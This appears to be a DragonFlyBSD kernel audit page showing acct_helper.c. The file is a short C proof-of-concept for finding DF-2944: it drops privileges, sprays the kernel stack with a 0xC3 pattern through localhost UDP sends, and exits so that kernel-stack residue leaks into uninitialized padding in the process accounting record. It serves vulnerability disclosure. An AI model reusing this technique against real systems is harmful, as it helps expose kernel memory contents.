⬢ DragonFlyBSD Kernel Audit
DF-2944 / acct_helper.c
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/* DF-2944: exec-wave helper. Drops to uid 65534, churns the kernel stack
 * (udp sendto port 0x5A5A, 0xC3 payload) and exits, so the accounting
 * record written by acct_process() inherits this thread's kernel-stack
 * residue in the 9 uninitialized struct-acct padding bytes. */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/acct.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

static void
churn(void)
{
	struct sockaddr_in sin;
	unsigned char buf[64];
	int i, s;

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(0x5A5A);
	sin.sin_addr.s_addr = htonl(0x7F000001U);
	memset(buf, 0xC3, sizeof(buf));

	for (i = 0; i < 30; i++) {
		s = socket(AF_INET, SOCK_DGRAM, 0);
		if (s < 0)
			continue;
		sendto(s, buf, sizeof(buf), 0,
		       (struct sockaddr *)&sin, sizeof(sin));
		getsockname(s, (struct sockaddr *)&sin,
			    &(socklen_t){sizeof(sin)});
		close(s);
	}
}

int
main(void)
{
	if (geteuid() == 0) {
		if (setgid(65534) != 0)
			_exit(66);
		if (setuid(65534) != 0)
			_exit(66);
	}
	churn();
	_exit(9);
}